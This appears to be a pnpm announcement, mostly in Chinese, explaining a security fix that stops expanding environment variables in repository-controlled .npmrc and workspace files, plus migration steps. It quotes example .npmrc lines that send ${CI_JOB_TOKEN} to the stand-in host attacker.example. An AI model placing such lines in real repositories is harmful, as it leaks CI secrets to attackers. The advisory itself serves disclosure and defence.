为什么 pnpm 不再解析仓库 .npmrc 文件中的环境变量
过去,pnpm 会在任何发现 ${ENV_VAR} 占位符的地方对其进行解析替换——这包括你刚克隆的代码仓库中的 .npmrc 和 pnpm-workspace.yaml 文件。 这种机制可能被恶意仓库利用,从而窃取你环境中的敏感信息。 自 v10.34.2 和 v11.5.3 版本起,pnpm 不再解析由仓库控制的注册源及凭证配置中的环境变量。
这是一项安全修复(GHSA-3qhv-2rgh-x77r),对于某些配置而言,它属于破坏性变更。 本文介绍了此次攻击、具体发生了哪些变化,以及如何进行迁移。
攻击方式
当你克隆仓库时,提交给仓库的 .npmrc 是攻击者控制的。 在此次变更之前,pnpm 在解析依赖项时会展开该文件中的环境变量——这一过程发生在任何生命周期脚本运行之前,因此 pnpm 自身的脚本拦截保护机制也无法防范此类攻击。
试想一个包含以下 .npmrc 内容的仓库:
registry=https://attacker.example/${CI_JOB_TOKEN}/
或者这个:
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
当你运行 pnpm install 且环境中存在 CI_JOB_TOKEN(或任何其他可被猜测的密钥)时,pnpm 会展开占位符,并将密钥直接发送给攻击者——无论是通过请求 URL(如 https://attacker.example/<secret>/...)还是通过 Authorization: Bearer <secret> 请求头。 同样的手段也适用于 pnpm-workspace.yaml 中的 registry URL。
无需安装脚本或后安装脚本,仅仅是解析依赖项这一步就足以导致密钥泄露。
有什么变化
pnpm 现在在处理环境变量展开时引入了“信任感知”机制。 当配置值来自受仓库控制的文件时,环境变量将不再被展开:
- 在项目级和工作区级
.npmrc中:registry、@scope:registry、代理 URL、URL 作用域键(如//host/…)以及凭证值(_authToken、_auth、_password、username、tokenHelper、cert、key)。 - 在
pnpm-workspace.yaml中:注册源 URL(包括registry字段以及registries/namedRegistries中的值)。
如果上述位置的配置包含 ${...} 占位符,pnpm 将忽略该设置,并打印警告信息,指导用户如何进行迁移。
对于非仓库来源的配置,环境变量仍会正常展开:
- 用户级
~/.npmrc(以及npmrcAuthFile指向的文件); - 全局配置;
- 命令行选项;
- 环境变量配置。
这种区分正是关键所在:密钥应当存储在你可控的位置,而不是随同你即将安装的代码一起分发的文件中。 我们还针对一种相关的极端情况进行了加固:即仓库级的 .npmrc 文件可能重定向 pnpm 视为受信任的用户级或全局级配置的文件(通过 userconfig、globalconfig 或 prefix 配置项);现在,这些配置文件的路径仅会解析自受信任的来源。
如何迁移
如果升级后认证失效,请将令牌从已提交的“.npmrc”中移到可信的位置。
将其写入你的用户/全局配置 (这是 pnpm 自己的 CI 不做的):
pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN"
默认情况下,pnpm config set 会将配置写入用户级/全局配置文件,而不会写入项目级的 .npmrc,从而确保令牌不会被提交到代码仓库中。
或者,也可以完全通过环境变量提供凭证,无需创建任何 .npmrc 文件(此功能自 v11.6 版本起支持)。 pnpm 会从 pnpm_config_//…(以及 npm_config_//…)这类环境变量中读取针对特定 URL 的注册源配置:
env "pnpm_config_//registry.npmjs.org/:_authToken=$NPM_TOKEN" pnpm install
The variable name contains /, :, and ., so export and the NAME=value shell assignment syntax reject it as an invalid identifier. Use the env utility (as shown above) to pass it to a single command, or set it through a tool that accepts arbitrary variable names (such as your CI provider's environment settings).
这是替代代码仓库中 //registry.npmjs.org/:_authToken=${NPM_TOKEN} 这一行配置的最直接且无需文件的方案。 由于凭证适用的注册源地址已包含在(受信任的)变量名中,恶意仓库无法将其重定向到其他主机。 该环境变量的值会覆盖项目级 .npmrc 中的设置,但会被命令行选项覆盖;若同一配置项同时通过两种前缀设置,则 pnpm_config_ 优先。 (tokenHelper 刻意设计为不从环境变量中读取。)
**或者将${NPM_TOKEN}行保留在您的用户层文件~/.npmrc**代替仓库中的——环境变量依然在仓库中展开。
在 GitHub Actions 中,使用 registry-url 输入参数的 actions/setup-node 操作会自动生成用户级的 .npmrc 文件,因此通过 NODE_AUTH_TOKEN 进行身份验证的方式无需额外修改即可继续正常工作:
- uses: actions/setup-node@v4
with:
node-version: 24
registry-url: https://registry.npmjs.org
- run: pnpm install
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
在其他 CI 系统中,由于编辑每个流水线不切实际,你可以通过在 CI 环境中设置一个环境变量来声明仓库自身的 .npmrc 文件受信任:
# V11:
PNPM_CONFIG_NPMRC_AUTH_FILE=.npmrc
# v10(或作为后备):
NPM_CONFIG_USERCONFIG=.npmrc
因为这种信任声明来自环境——而不是储存库——恶意仓库无法为你设置它。 仅在构建受信任仓库的环境中使用它:因为它会完全禁用针对该检出的保护机制。
动态注册源网址
该规则同样适用于注册源和代理URL。 如果你使用了环境变量来配置注册源 URL 模板,请将其迁移至受信任的来源(例如 pnpm config set、用户级 ~/.npmrc 文件、CLI 选项或环境配置)。 如果该 URL 不涉及机密信息,你可以直接将解析后的值写入项目的 .npmrc 文件中——只有 ${...} 占位符会被忽略,直接写明 URL 是完全没问题的。
按作用域的令牌
人们之所以常用 ${...} 占位符,一个常见原因是需要针对同一个注册源主机管理多个令牌。 从 v11.7 版本开始,pnpm 支持为不同的包作用域指定不同的认证令牌,即使这些 作用域使用相同的注册源 URL —— 因此,你不再需要使用包含变量的模板来配置单一密钥。 在认证键(位于受信任位置,例如用户目录下的 ~/.npmrc 文件)中,将作用域放在注册源 URL 之后:
@org-a:registry=https://npm.pkg.github.com/
@org-b:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:@org-a:_authToken=${ORG_A_TOKEN}
//npm.pkg.github.com/:@org-b:_authToken=${ORG_B_TOKEN}
安装或发布 @org-a/* 时使用 ORG_A_TOKEN;@org-b/* 则使用 ORG_B_TOKEN。 请参阅 作用域特定的身份验证令牌。
很抱歉发生了破损
在补丁版本中发布破坏性变更并非我们轻易做出的决定,我们也深知这给部分 CI 流水线造成了干扰。 但这属于一个已上报且存在有效利用手段的漏洞;若任其存在——或者等到下一个重大版本才修复——就意味着明知故犯,相当于主动提供了一种途径,让任意代码仓库都能读取你的机密信息。 将修复作为补丁向后移植到 v10 版本,是让现有用户真正获得该修复的唯一途径。
有关完整的迁移指南,请参阅身份验证设置文档。
